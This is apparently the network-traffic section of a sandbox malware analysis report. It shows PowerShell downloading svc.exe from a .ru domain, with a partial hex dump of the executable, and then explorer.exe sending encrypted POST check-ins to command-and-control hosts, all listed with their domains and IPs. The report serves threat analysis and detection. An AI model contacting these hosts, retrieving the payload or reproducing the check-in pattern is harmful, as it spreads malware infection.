Oct 4, 2024 16:36:36.672522068 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672530890 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672544003 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672554016 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672564030 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672578096 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672580004 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672590017 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672599077 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672600031 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672611952 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672616959 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672621965 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672631979 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672641993 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672642946 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672653913 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672665119 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672673941 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672682047 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672683954 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672694921 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672703981 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672707081 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672719002 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.672719955 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.672744036 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.722614050 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746161938 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746201992 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746213913 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746258020 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746300936 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746313095 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746324062 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746341944 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746380091 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746486902 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746499062 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746558905 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746606112 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746618032 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746628046 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746638060 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746659040 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746684074 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746859074 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746871948 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746882915 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746893883 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.746906996 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.746933937 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.747026920 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.800739050 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840115070 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840157986 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840192080 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840224028 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840224028 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840260029 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840306997 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840672016 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840703964 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840737104 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840751886 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840769053 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840801001 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840818882 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.840894938 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.840965986 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:36:36.841047049 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.844913960 CEST	49699	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:36:36.853060007 CEST	80	49699	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:05.220988989 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:05.226114988 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:05.226190090 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:05.226434946 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:05.226464033 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:05.231378078 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:05.231472969 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:06.339015961 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:06.339040041 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:06.339157104 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:06.347580910 CEST	49845	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:06.352741003 CEST	80	49845	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:06.814291954 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:06.823272943 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:06.825452089 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:06.825609922 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:06.825619936 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:06.835412025 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:06.836949110 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:07.713541985 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:07.718485117 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:07.718486071 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:07.723491907 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:07.723534107 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:08.056991100 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:08.097750902 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:30.662256956 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:30.667538881 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:30.667685032 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:30.667890072 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:30.667933941 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:30.672935009 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:30.672969103 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:32.793679953 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:32.793847084 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:32.793926954 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:32.794718027 CEST	49974	80	192.168.2.7	193.46.217.78
Oct 4, 2024 16:37:32.796794891 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:32.796825886 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:32.803638935 CEST	80	49974	193.46.217.78	192.168.2.7
Oct 4, 2024 16:37:32.804101944 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:32.805218935 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:33.136367083 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:33.144893885 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:33.144922018 CEST	49856	80	192.168.2.7	188.40.141.211
Oct 4, 2024 16:37:33.149658918 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:33.149769068 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:33.488718987 CEST	80	49856	188.40.141.211	192.168.2.7
Oct 4, 2024 16:37:33.535418987 CEST	49856	80	192.168.2.7	188.40.141.211

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 16:36:34.268575907 CEST	58155	53	192.168.2.7	1.1.1.1
Oct 4, 2024 16:36:34.876312017 CEST	53	58155	1.1.1.1	192.168.2.7
Oct 4, 2024 16:37:04.745117903 CEST	51869	53	192.168.2.7	1.1.1.1
Oct 4, 2024 16:37:05.220062017 CEST	53	51869	1.1.1.1	192.168.2.7
Oct 4, 2024 16:37:06.351067066 CEST	53015	53	192.168.2.7	1.1.1.1
Oct 4, 2024 16:37:06.810760021 CEST	53	53015	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 16:36:34.268575907 CEST	192.168.2.7	1.1.1.1	0xcb83	Standard query (0)	bestmagazineforanimalsunicum.ru	A (IP address)	IN (0x0001)	false
Oct 4, 2024 16:37:04.745117903 CEST	192.168.2.7	1.1.1.1	0x9841	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 4, 2024 16:37:06.351067066 CEST	192.168.2.7	1.1.1.1	0x3692	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 16:36:34.876312017 CEST	1.1.1.1	192.168.2.7	0xcb83	No error (0)	bestmagazineforanimalsunicum.ru	193.46.217.78	A (IP address)	IN (0x0001)	false
Oct 4, 2024 16:37:05.220062017 CEST	1.1.1.1	192.168.2.7	0x9841	No error (0)	unicexpertmagazine.pw	193.46.217.78	A (IP address)	IN (0x0001)	false
Oct 4, 2024 16:37:06.810760021 CEST	1.1.1.1	192.168.2.7	0x3692	No error (0)	ceoconstractionstore.pl	188.40.141.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bestmagazineforanimalsunicum.ru

xedfkhosquhy.org

unicexpertmagazine.pw

utsxpdquoutvtc.com

ceoconstractionstore.pl

rfcqeahtpbrxjuy.net

obbtjayrfmnjdrv.net

fwtilsrhssulldop.com

ooxywteyveq.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.46.217.78	80	6016	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 16:36:35.220380068 CEST	97	OUT	GET /download/svc.exe HTTP/1.1 Host: bestmagazineforanimalsunicum.ru Connection: Keep-Alive
Oct 4, 2024 16:36:36.183665037 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 14:36:36 GMT Content-Type: application/x-msdos-program Content-Length: 222720 Connection: close Last-Modified: Wed, 02 Oct 2024 05:06:08 GMT ETag: "36600-62377654eb000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$IBBB\^\Q\euEB2\C\C\CRichBPEL`Ied@DPPX.text~ `.rdata" "@@.data@.tls@@.rsrcP@@
Oct 4, 2024 16:36:36.183700085 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 0d 08 c0 41 00 75 02 f3 c3 e9 11 07 00 00 6a 0c 68 90 a4 41 00 e8 05 15 00 00 8b 75 08 85 f6 74 Data Ascii: ;AujhAutu=?QuCjYeVYEtVP>YYE}u7ujYVj5AAuhAPYUQeVEPu
Oct 4, 2024 16:36:36.183711052 CEST	1236	IN	Data Raw: ff 75 08 e8 55 16 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 9e 07 00 00 85 c0 74 0a e8 95 07 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 6b 19 00 00 83 c4 0c 5d c3 8b ff 55 8b ec 8b 45 08 56 8b f1 c6 46 0c Data Ascii: uUu9EttM^Ujjuk]UEVFucH&FHlHhN;AtAHpu"F;AtFAHpuWFF@puHpF@F^]U(SVuMdu3;u(SSSSS
Oct 4, 2024 16:36:36.183728933 CEST	1236	IN	Data Raw: ff 75 08 e8 61 2f 00 00 68 ff 00 00 00 e8 27 fd ff ff 59 59 5d c3 6a 58 68 d0 a4 41 00 e8 7b 0f 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 c0 90 41 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 Data Ascii: ua/h'YY]jXhA{3uEPAj_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CSoYujXY~"ujGY1];}j&Y;?Qo;xA:}jYw8}j
Oct 4, 2024 16:36:36.183739901 CEST	1236	IN	Data Raw: 5e 5d c3 8b ff 55 8b ec 8b 0d c4 3f 51 00 a1 c8 3f 51 00 6b c9 14 03 c8 eb 11 8b 55 08 2b 50 0c 81 fa 00 00 10 00 72 09 83 c0 14 3b c1 72 eb 33 c0 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 8b 41 10 56 8b 75 0c 57 8b fe 2b 79 0c 83 c6 fc c1 ef 0f 8b Data Ascii: ^]U?Q?QkU+Pr;r3]UMAVuW+yiDMIMS1UVUU]utJ?vj?ZK;KuB sL!\Du#M!JL!uM!Y]S[MMZU
Oct 4, 2024 16:36:36.183749914 CEST	1236	IN	Data Raw: c4 00 00 00 8a 46 43 8a c8 fe c1 84 c0 8b 45 08 88 4e 43 75 03 09 78 04 ba 00 00 00 80 8b cb d3 ea f7 d2 21 50 08 8b c3 5f 5e 5b c9 c3 8b ff 55 8b ec 83 ec 0c 8b 4d 08 8b 41 10 53 56 8b 75 10 57 8b 7d 0c 8b d7 2b 51 0c 83 c6 17 c1 ea 0f 8b ca 69 Data Ascii: FCENCux!P_^[UMASVuW}+QiDMOI;\|9M]UE;;MIM?vj?YM_;_uC sML!\Du&M!ML!uM!YO
Oct 4, 2024 16:36:36.183760881 CEST	896	IN	Data Raw: 21 0b eb 2c 8d 4f e0 d3 eb 8b 4d fc 8d 8c 88 c4 00 00 00 8d 7c 38 04 f7 d3 21 19 fe 0f 89 5d ec 75 0b 8b 5d 08 8b 4d ec 21 4b 04 eb 03 8b 5d 08 83 7d f8 00 8b 4a 08 8b 7a 04 89 79 04 8b 4a 04 8b 7a 08 89 79 08 0f 84 8d 00 00 00 8b 4d f4 8d 0c f1 Data Ascii: !,OM\|8!]u]M!K]}JzyJzyMyJzQJQJ;Ju^LM L}#}u;M\|D)}uN{MN7MtLMuNL2uy
Oct 4, 2024 16:36:36.183960915 CEST	892	IN	Data Raw: 05 cc 3f 51 00 77 37 6a 04 e8 9a f2 ff ff 59 89 7d fc ff 75 08 e8 a0 fa ff ff 59 89 45 e4 c7 45 fc fe ff ff ff e8 5f 00 00 00 8b 5d e4 3b df 74 11 ff 75 08 57 53 e8 f6 32 00 00 83 c4 0c 3b df 75 61 56 6a 08 ff 35 a4 da 41 00 ff 15 e8 90 41 00 8b Data Ascii: ?Qw7jY}uYEE_];tuWS2;uaVj5AA;uL9=At3VB&YrE;PE3uj>Y;uE;t<UVWuMEu3;t0;u,WWWWW}tE
Oct 4, 2024 16:36:36.185261011 CEST	1236	IN	Data Raw: 10 40 4f 75 f7 8d 86 1d 01 00 00 be 00 01 00 00 8a 14 08 88 10 40 4e 75 f7 5f 5e c3 8b ff 55 8b ec 81 ec 1c 05 00 00 a1 08 c0 41 00 33 c5 89 45 fc 53 57 8d 85 e8 fa ff ff 50 ff 76 04 ff 15 f4 90 41 00 bf 00 01 00 00 85 c0 0f 84 fb 00 00 00 33 c0 Data Ascii: @Ou@Nu_^UA3ESWPvA3@;r t.;w+@Pj R#/CCujvvPWPjj63SvWPWPWvS3DSvWPW
Oct 4, 2024 16:36:36.185349941 CEST	1236	IN	Data Raw: 5f 68 8b 75 08 e8 75 fd ff ff 89 45 08 3b 43 04 0f 84 57 01 00 00 68 20 02 00 00 e8 21 25 00 00 59 8b d8 85 db 0f 84 46 01 00 00 b9 88 00 00 00 8b 77 68 8b fb f3 a5 83 23 00 53 ff 75 08 e8 b8 fd ff ff 59 59 89 45 e0 85 c0 0f 85 fc 00 00 00 8b 75 Data Ascii: _huuE;CWh !%YFwh#SuYYEuvhAuFh=AtPY^hS=AFpAjYeCACACA3E}fLCfEA@3E=}LA@3E=
Oct 4, 2024 16:36:36.189021111 CEST	1236	IN	Data Raw: 21 a1 c0 c8 41 00 83 f8 ff 74 17 50 ff 35 c4 c8 41 00 ff d6 ff d0 85 c0 74 08 8b 80 f8 01 00 00 eb 27 be 80 92 41 00 56 ff 15 2c 90 41 00 85 c0 75 0b 56 e8 5d dd ff ff 59 85 c0 74 18 68 70 92 41 00 50 ff 15 6c 90 41 00 85 c0 74 08 ff 75 08 ff d0 Data Ascii: !AtP5At'AV,AuV]YthpAPlAtuEE^]jYUV5A5At!AtP5At'AV,AuVYthAPlAtuEE^]AV5AAu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49845	193.46.217.78	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 16:37:05.226434946 CEST	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xedfkhosquhy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 183 Host: unicexpertmagazine.pw
Oct 4, 2024 16:37:05.226464033 CEST	183	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f9 32 2b ac Data Ascii: _\6;GP2[a6UUpUSNrM*D4f{Ub.-^JrC)2+YJQe{\x1P{S+-6i@6_e<`YM.dQcd)@#J~i/iVKxr$
Oct 4, 2024 16:37:06.339015961 CEST	602	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 04 Oct 2024 14:37:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 [TRUNCATED] Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49856	188.40.141.211	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 16:37:06.825609922 CEST	291	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://utsxpdquoutvtc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: ceoconstractionstore.pl
Oct 4, 2024 16:37:06.825619936 CEST	275	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e0 3d 46 b6 Data Ascii: _\6;GP2[a6UUpUSNrM*D4f{Ub.-^JrC)=F9^:<AKdjILZD#cDDvFLJmj:,<Vs9=lP'yn[`X;^Uw19A6c?8$s)w![{x`C9-%r
Oct 4, 2024 16:37:07.713541985 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 14:37:07 GMT Data Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Oct 4, 2024 16:37:07.718485117 CEST	292	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rfcqeahtpbrxjuy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 226 Host: ceoconstractionstore.pl
Oct 4, 2024 16:37:07.718486071 CEST	226	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 1b 1d bc ca bf 4a 73 43 29 be e8 59 26 97 Data Ascii: _\6;GP2[a6UUpUSNrM*D4f{Ub.-^JsC)Y&7fF.{}f/N(A^O<5Qy` 6S(JyZW[q! 7T}\z$axpEvTj#OoAn6{ Y8yi{{"
Oct 4, 2024 16:37:08.056991100 CEST	144	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 14:37:07 GMT
Oct 4, 2024 16:37:32.796794891 CEST	293	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fwtilsrhssulldop.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: ceoconstractionstore.pl
Oct 4, 2024 16:37:32.796825886 CEST	281	OUT	Data Raw: a1 5f 0f 5c f6 36 2a cc c0 3b a7 b9 8c c2 2a 47 50 32 c4 5b 61 bb 36 55 dc 55 cc 18 03 8e 70 55 bf 53 af 8c 4e a3 72 4d 2a cd cd 03 a8 44 19 34 b2 66 7b 55 e2 62 2e 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ee 30 69 96 Data Ascii: _\6;GP2[a6UUpUSNrM*D4f{Ub.-^JrC)0i8J.Nn<gM7@\[^fCdq&\|-N`S@z"vR1a0{GVdmyvOkzV{[UxcGWm,z>
Oct 4, 2024 16:37:33.136367083 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 7 Content-Type: application/octet-stream Date: Fri, 04 Oct 2024 14:37:33 GMT Data Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Oct 4, 2024 16:37:33.144893885 CEST	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ooxywteyveq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: ceoconstractionstore.pl
